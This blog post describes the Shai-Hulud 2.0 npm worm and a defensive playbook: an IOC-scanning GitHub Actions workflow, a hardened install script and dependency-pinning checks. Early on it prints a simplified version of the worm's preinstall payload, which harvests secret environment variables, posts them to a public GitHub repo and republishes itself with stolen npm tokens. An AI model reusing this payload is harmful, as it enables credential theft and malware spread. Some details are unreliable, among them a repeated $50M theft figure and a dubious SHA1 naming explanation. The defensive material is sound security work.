⭐ Featured Post

Shai-Hulud 2.0: How I Built Real-Time Detection for the Largest NPM Supply Chain Attack in History

13 min read
by Regin Vinny

When 700+ malicious NPM packages compromised 27,000 GitHub repositories in 72 hours, I built a client-side vulnerability scanner and hardened supply chain defenses. Here's the complete detection and mitigation playbook for the Shai-Hulud 2.0 attack.

Shai-Hulud 2.0: How I Built Real-Time Detection for the Largest NPM Supply Chain Attack in History

November 21, 2025. 6:47 AM EST.

Security researchers at Wiz detected an anomaly: 47 npm packages published in the last hour, all with similar code patterns. By 9:15 AM, that number hit 200. By noon, over 700 malicious packages had flooded the npm registry, and 27,000+ GitHub repositories were compromised.

This wasn't some targeted attack. This was an automated worm called Shai-Hulud 2.0 (yeah, named after the sandworm from Dune) that self-replicated across the entire JavaScript supply chain. Within 72 hours, it'd exposed over 14,000 secrets from 487 organizations and resulted in an estimated $50 million in cryptocurrency theft.

I spent the next two weeks building a complete defensive architecture. Real-time vulnerability scanner, automated CI/CD gates, supply chain hardening strategies - everything I could throw at detecting and preventing this class of attack.

This is that playbook.


🔍 Anatomy of the Shai-Hulud 2.0 Attack

Shai-Hulud 2.0 was surgical in its automation and devastating in how it executed.

🎯 Phase 1: Initial Compromise (September 2025)

The first wave (Shai-Hulud 1.0) back in September 2025 was basically a proof of concept:

  • Compromised developer credentials through phishing and credential stuffing
  • Published malicious versions of legitimate packages
  • Exfiltrated approximately $50M in cryptocurrency
  • Established infrastructure for the larger attack

The community thought it was contained. It wasn't.

💥 Phase 2: The Worm Unleashed (November 21-23, 2025)

Between November 21-23, the attackers deployed the self-replicating worm:

// Simplified representation of the malicious payload
// (DO NOT USE - for educational purposes only)

const EXFIL_ENDPOINT = 'https://[REDACTED]/upload';
const REPO_NAME = 'Shai-Hulud';

// Hook into npm preinstall script (runs BEFORE installation)
if (process.env.NODE_ENV !== 'development') {
  // Only activate in CI/CD or production builds

  // 1. Steal environment variables
  const secrets = Object.keys(process.env)
    .filter(key => /SECRET|KEY|TOKEN|PASSWORD|API/i.test(key))
    .reduce((acc, key) => ({ ...acc, [key]: process.env[key] }), {});

  // 2. Exfiltrate to attacker-controlled GitHub repo via API
  fetch(`https://api.github.com/user/repos`, {
    method: 'POST',
    headers: {
      'Authorization': `Bearer ${secrets.GITHUB_TOKEN || secrets.GH_TOKEN}`,
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      name: REPO_NAME,
      description: Buffer.from(JSON.stringify(secrets)).toString('base64'),
      private: false // Public repos for easy harvesting
    })
  });

  // 3. Self-replicate: Authenticate to npm registry and publish new malicious packages
  if (secrets.NPM_TOKEN) {
    // Publish variations with typo-squatted names
    const variations = generateTypoSquats(require('./package.json').name);
    variations.forEach(name => publishMaliciousPackage(name, secrets.NPM_TOKEN));
  }
}

The Attack Vector:

  • preinstall lifecycle script - executes before npm install even completes
  • Even failed installations ran the malicious code
  • Activation logic prevented detection in local development
  • Only triggered in CI/CD environments where secrets are actually available

📊 The Blast Radius

Within 72 hours:

  • 700+ malicious npm packages published
  • 27,000+ GitHub repositories created to store exfiltrated data
  • 14,000+ secrets exposed (API keys, database credentials, AWS tokens)
  • 487 organizations affected, including:
    • Zapier (temporarily compromised packages)
    • ENS Domains
    • PostHog
    • Postman
    • Numerous Fortune 500 companies (undisclosed)

Attack Techniques:

  1. Typo-squatting: react-scriptsreact-script (missing 's')
  2. Dependency confusion: Publishing public packages with same names as private internal packages
  3. Version manipulation: Hijacking legitimate package versions via compromised maintainer accounts
  4. Preinstall hooks: Malicious code execution before package installation completes

Why "SHA1HULUD"? Security researchers discovered the attack infrastructure extensively used SHA1 hashing for:

  • Package fingerprinting
  • Exfiltration endpoints
  • Command and control communication
  • Making it traceable once the pattern was identified

🛡️ Phase 1: Building Real-Time Detection

The first priority? Detecting if running systems were already compromised.

🔬 The Client-Side Vulnerability Scanner

I built a privacy-first vulnerability scanner that runs entirely in the browser. No backend, no data exfiltration, just real-time threat intelligence matching.

Live Tool:

🔍 Scan Your package-lock.json Now

How It Works:

The scanner aggregates threat intelligence from multiple sources:

  • Wiz Security Research - Official IOC database with 700+ confirmed malicious packages
  • DataDog Security Labs - Consolidated indicators from multiple security vendors
  • AgileSix Response - Community-maintained comprehensive package list

When you upload your package-lock.json:

  1. Parses all installed dependencies (supports lockfile v1, v2, and v3)
  2. Matches against 2,300+ known malicious package signatures
  3. Identifies exact version matches and version-agnostic threats
  4. Shows clear source attribution (which security vendor flagged the package)

Why Client-Side?

  • Privacy: Your dependency list never leaves your browser
  • Speed: Instant scanning without server round-trips
  • Transparency: All processing happens in the open, fully auditable
  • Accessibility: No authentication or corporate tools required

🔧 Phase 2: Automated CI/CD Prevention

Detection is reactive. Prevention is proactive. Pretty simple really.

🚨 GitHub Actions Security Gate

# .github/workflows/supply-chain-security.yml
name: Supply Chain Security Check

on:
  pull_request:
    branches: [main, develop]
  push:
    branches: [main]
  schedule:
    # Run daily at 2 AM UTC to catch newly disclosed vulnerabilities
    - cron: '0 2 * * *'

permissions:
  contents: read
  security-events: write
  pull-requests: write

jobs:
  shai-hulud-scan:
    name: Shai-Hulud IOC Detection
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Download Shai-Hulud IOC Database
        run: |
          echo "🔍 Downloading latest Shai-Hulud IOC feeds..."

          mkdir -p .security/iocs

          # Wiz IOCs
          curl -sSL https://raw.githubusercontent.com/wiz-sec-public/wiz-research-iocs/main/reports/shai-hulud-2-packages.csv \
            -o .security/iocs/wiz-iocs.csv

          # DataDog IOCs
          curl -sSL https://raw.githubusercontent.com/DataDog/indicators-of-compromise/main/shai-hulud-2.0/consolidated_iocs.csv \
            -o .security/iocs/datadog-iocs.csv

          # AgileSix IOCs
          curl -sSL https://raw.githubusercontent.com/agilesix/shai-hulud-response/main/ioc/compromised-packages.txt \
            -o .security/iocs/agilesix-iocs.txt

      - name: Extract installed packages
        run: |
          echo "📦 Extracting package list from package-lock.json..."

          # Extract all package names and versions
          node -e "
          const fs = require('fs');
          const lockfile = JSON.parse(fs.readFileSync('package-lock.json', 'utf8'));

          const packages = new Set();

          // Extract from lockfile v1 format
          function extractDeps(deps) {
            if (!deps) return;
            Object.entries(deps).forEach(([name, details]) => {
              if (details.version) {
                packages.add(\`\${name}@\${details.version}\`);
              }
              if (details.dependencies) extractDeps(details.dependencies);
            });
          }

          // Extract from lockfile v2/v3 format
          if (lockfile.packages) {
            Object.entries(lockfile.packages).forEach(([path, details]) => {
              if (path && details.version) {
                const name = details.name || path.split('node_modules/').pop();
                if (name) packages.add(\`\${name}@\${details.version}\`);
              }
            });
          }

          if (lockfile.dependencies) {
            extractDeps(lockfile.dependencies);
          }

          fs.writeFileSync('.security/installed-packages.txt',
            Array.from(packages).sort().join('\n'));

          console.log(\`Extracted \${packages.size} unique packages\`);
          " || exit 1

      - name: Scan for Shai-Hulud IOCs
        id: scan
        run: |
          echo "🔍 Scanning for Shai-Hulud indicators of compromise..."

          FOUND_VULNERABLE=0
          VULNERABLE_PACKAGES=""

          # Check against each IOC source
          while IFS= read -r package; do
            pkg_name=$(echo "$package" | cut -d'@' -f1)
            pkg_version=$(echo "$package" | cut -d'@' -f2)

            # Check Wiz IOCs (CSV format: timestamp,package,versions)
            if grep -q ",$pkg_name," .security/iocs/wiz-iocs.csv; then
              echo "❌ CRITICAL: Found Shai-Hulud malicious package: $package (Source: Wiz)"
              FOUND_VULNERABLE=1
              VULNERABLE_PACKAGES="$VULNERABLE_PACKAGES\n- $package (Wiz IOC)"
            fi

            # Check DataDog IOCs
            if grep -q "$pkg_name" .security/iocs/datadog-iocs.csv; then
              echo "❌ CRITICAL: Found Shai-Hulud malicious package: $package (Source: DataDog)"
              FOUND_VULNERABLE=1
              VULNERABLE_PACKAGES="$VULNERABLE_PACKAGES\n- $package (DataDog IOC)"
            fi

            # Check AgileSix IOCs
            if grep -q "^$pkg_name$" .security/iocs/agilesix-iocs.txt; then
              echo "❌ CRITICAL: Found Shai-Hulud malicious package: $package (Source: AgileSix)"
              FOUND_VULNERABLE=1
              VULNERABLE_PACKAGES="$VULNERABLE_PACKAGES\n- $package (AgileSix IOC)"
            fi

          done < .security/installed-packages.txt

          if [ $FOUND_VULNERABLE -eq 1 ]; then
            echo "vulnerable=true" >> $GITHUB_OUTPUT
            echo "packages<<EOF" >> $GITHUB_OUTPUT
            echo -e "$VULNERABLE_PACKAGES" >> $GITHUB_OUTPUT
            echo "EOF" >> $GITHUB_OUTPUT

            # Create security alert annotation
            echo "::error title=Shai-Hulud IOC Detected::Critical security vulnerability found in dependencies"

            exit 1
          else
            echo "✅ No Shai-Hulud IOCs detected"
            echo "vulnerable=false" >> $GITHUB_OUTPUT
          fi

      - name: Comment on PR with results
        if: github.event_name == 'pull_request' && steps.scan.outputs.vulnerable == 'true'
        uses: actions/github-script@v7
        with:
          script: |
            const vulnerablePackages = `${{ steps.scan.outputs.packages }}`;

            await github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: `## ⚠️ Shai-Hulud Supply Chain Attack Detected

**CRITICAL SECURITY ALERT**: This PR contains dependencies flagged as malicious in the Shai-Hulud 2.0 attack.

### Vulnerable Packages Found:
${vulnerablePackages}

### Immediate Actions Required:
1. **DO NOT MERGE** this pull request
2. Remove all flagged packages from \`package.json\`
3. Run \`npm audit\` for additional vulnerabilities
4. Review \`package-lock.json\` for unexpected changes
5. Rotate all secrets that may have been exposed:
   - API keys
   - Database credentials
   - AWS/Azure/GCP tokens
   - GitHub tokens
6. Check application logs for suspicious activity
7. Scan CI/CD environment for compromise

### Resources:
- [Wiz Shai-Hulud Analysis](https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack)
- [Microsoft Security Guidance](https://www.microsoft.com/en-us/security/blog/2025/12/09/shai-hulud-2-0-guidance-for-detecting-investigating-and-defending-against-the-supply-chain-attack/)
- [CISA Alert](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)

**This is an automated security check. Contact your security team immediately.**`
            });

  dependency-lockdown:
    name: Enforce Dependency Integrity
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Verify package-lock.json integrity
        run: |
          echo "🔒 Verifying package-lock.json integrity..."

          # Ensure package-lock.json is committed
          if [ ! -f "package-lock.json" ]; then
            echo "❌ CRITICAL: package-lock.json is missing!"
            echo "Lockfiles prevent supply chain attacks by ensuring reproducible builds"
            exit 1
          fi

          # Check for suspicious modifications in this PR
          if [ "${{ github.event_name }}" = "pull_request" ]; then
            MODIFIED_PACKAGES=$(git diff origin/${{ github.base_ref }} -- package-lock.json | grep -E '^\+.*"resolved"' | wc -l)

            if [ $MODIFIED_PACKAGES -gt 50 ]; then
              echo "⚠️  WARNING: Large number of package changes detected ($MODIFIED_PACKAGES)"
              echo "This could indicate a supply chain attack attempt"
              echo "Please review all changes carefully"
            fi
          fi

      - name: Install with --ignore-scripts flag
        run: |
          echo "🔒 Installing dependencies with scripts disabled..."
          # Prevent malicious preinstall/postinstall scripts from running
          npm ci --ignore-scripts

      - name: Generate and store SBOM
        run: |
          echo "📋 Generating Software Bill of Materials (SBOM)..."

          npx @cyclonedx/cyclonedx-npm --output-file sbom.json

          # Store SBOM for audit trail
          echo "SBOM generated: sbom.json"

          # In production, upload to secure storage
          # aws s3 cp sbom.json s3://security-artifacts/sboms/$(date +%Y%m%d)-${GITHUB_SHA}.json

      - name: Upload SBOM artifact
        uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: sbom.json
          retention-days: 90

🔐 Package Installation Hardening

#!/bin/bash
# scripts/secure-npm-install.sh
# Secure npm installation wrapper

set -euo pipefail

echo "[Security] Starting secure npm installation..."

# 1. Verify package-lock.json exists
if [ ! -f "package-lock.json" ]; then
  echo "[CRITICAL] package-lock.json missing! This enables supply chain attacks."
  exit 1
fi

# 2. Backup current package-lock.json
cp package-lock.json package-lock.json.backup

# 3. Install without running lifecycle scripts
echo "[Security] Installing with --ignore-scripts flag..."
npm ci --ignore-scripts

# 4. Scan for Shai-Hulud IOCs
echo "[Security] Scanning for Shai-Hulud indicators..."
node scripts/scan-shai-hulud.js

# 5. Compare package-lock.json for unauthorized changes
if ! diff package-lock.json package-lock.json.backup > /dev/null; then
  echo "[WARNING] package-lock.json was modified during installation!"
  echo "This could indicate a supply chain attack attempt."

  # Show what changed
  diff package-lock.json package-lock.json.backup || true

  read -p "Continue anyway? (y/N) " -n 1 -r
  echo
  if [[ ! $REPLY =~ ^[Yy]$ ]]; then
    # Restore original
    mv package-lock.json.backup package-lock.json
    exit 1
  fi
fi

# 6. Run audit
echo "[Security] Running npm audit..."
npm audit --audit-level=high

# 7. Generate SBOM for tracking
echo "[Security] Generating SBOM..."
npx @cyclonedx/cyclonedx-npm --output-file sbom-$(date +%Y%m%d).json

echo "[Security] ✅ Secure installation complete"

🔒 Phase 3: Long-Term Supply Chain Hardening

Preventing the next Shai-Hulud requires architectural changes. Can't just patch and call it a day.

📋 Software Bill of Materials (SBOM) Implementation

An SBOM acts as an "ingredient list" for your software, making it possible to track exactly what's in your application and identify affected systems when vulnerabilities are disclosed.

SBOM Generation Strategy:

# Generate SBOM with CycloneDX
npx @cyclonedx/cyclonedx-npm --output-file sbom.json

# Enhance with security annotations
# - Flag packages appearing in Shai-Hulud IOC lists
# - Calculate risk scores based on lifecycle scripts, dependency count
# - Add cryptographic integrity hashes (SHA-256)
# - Track package supplier information

Security-Enhanced SBOM includes:

  • IOC Flagging: Automatically marks packages from Shai-Hulud database
  • Risk Scoring: Calculates 0-100 risk score based on:
    • Lifecycle scripts (preinstall/postinstall hooks)
    • Dependency count (large dependency trees = larger attack surface)
    • Package age (newly published packages are higher risk)
    • Missing repository information
  • Integrity Hashes: SHA-256 checksums for tamper detection
  • Timestamp tracking: When each component was added to your project

This made it possible to identify affected systems in minutes when new IOCs were published, instead of days.

🔐 Dependency Pinning Strategy

// .npmrc - Enforce strict dependency resolution
audit=true
audit-level=high
fund=false
save-exact=true
package-lock=true
ignore-scripts=true

// Always use exact versions, never ranges
// save-exact ensures "1.2.3" not "^1.2.3"
// scripts/validate-dependencies.js
// Validate all dependencies use exact versions (no ^ or ~)

const fs = require('fs');

const packageJson = JSON.parse(fs.readFileSync('package.json', 'utf8'));

let hasRanges = false;

['dependencies', 'devDependencies'].forEach(depType => {
  if (packageJson[depType]) {
    Object.entries(packageJson[depType]).forEach(([name, version]) => {
      if (version.startsWith('^') || version.startsWith('~')) {
        console.error(`❌ ${name}: ${version} uses version range (should be exact)`);
        hasRanges = true;
      }
    });
  }
});

if (hasRanges) {
  console.error('\n❌ FAILED: Use exact versions to prevent supply chain attacks');
  console.error('Run: npm install --save-exact <package>');
  process.exit(1);
}

console.log('✅ All dependencies use exact versions');

📊 Measuring Supply Chain Security Posture

Key metrics to track:

Threat Detection:

  • Shai-Hulud IOC matches in dependencies
  • Packages with lifecycle scripts (preinstall/postinstall)
  • Recently published packages (< 30 days old)
  • Packages without repository URLs

Dependency Health:

  • Total dependencies (direct + transitive)
  • Known vulnerabilities (npm audit)
  • Outdated packages
  • Dependency tree depth

Security Compliance:

  • ✅ SBOM generated and up-to-date
  • ✅ Exact versions (no ^ or ~ ranges)
  • ✅ package-lock.json committed
  • ✅ Lifecycle scripts disabled (ignore-scripts=true in .npmrc)

Overall Security Score = Combined weighted metrics

  • <70: Needs improvement
  • 70-89: Good security posture
  • 90+: Excellent security posture

💡 Lessons from Shai-Hulud 2.0

What defending against the largest npm supply chain attack taught me:

1. ⚡ Automated Attacks Require Automated Defenses

Shai-Hulud published 700+ packages in 72 hours. Manual code review can't keep pace with that. Automated CI/CD security gates with real-time threat intelligence aren't optional anymore.

2. 🔒 Lifecycle Scripts Are a Massive Attack Surface

The preinstall hook allowed malicious code execution before installation even completed. Even failed installations ran the payload. Solution? npm ci --ignore-scripts by default.

3. 📊 Visibility Enables Rapid Response

Organizations with comprehensive SBOMs identified affected packages in minutes. Those without? Days or weeks. SBOM generation should be automated in every build.

4. 🎯 Defense in Depth Saved Organizations

Teams with multiple security layers (IOC scanning + lockfile pinning + lifecycle script blocking + secret rotation) limited blast radius even when packages slipped through.

5. 🤝 Community Threat Intelligence Works

The rapid response from Wiz, DataDog, GitHub, npm, and others demonstrated the power of collaborative security. Open-source IOC feeds enabled the community to defend itself.


🚀 The Bottom Line

Shai-Hulud 2.0 wasn't just an attack. It was a wake-up call for the entire JavaScript ecosystem.

The supply chain isn't a theoretical vulnerability anymore. It's an active battlefield where automated worms can compromise thousands of projects in hours, not days.

The defensive architecture I built addresses the core lessons:

  • Real-time detection with multi-source threat intelligence
  • Automated prevention through CI/CD security gates
  • Comprehensive visibility with enhanced SBOMs
  • Defense in depth with multiple security layers

But let's be real: Shai-Hulud 2.0 won't be the last supply chain attack.

Attackers have proven that automated exploitation of the npm ecosystem works. The next attack is probably already in development. The question isn't whether your dependencies will be targeted. It's whether your security architecture will detect and prevent it.

Organizations that treat supply chain security as a checklist item will keep getting breached. Those that build automated, continuously monitored, defense-in-depth architectures? They'll be the ones still standing when the next worm emerges.

The scanner I built is open-source and free to use. Check your dependencies now:

🔍 Scan Your Dependencies for Shai-Hulud IOCs

For more insights on building secure, resilient applications, connect with me on LinkedIn.


📚 References & Resources

Official Advisories:

Threat Intelligence Feeds:

Security Frameworks:

Want to see more of my work?

Check out my portfolio for projects and experience.

View Portfolio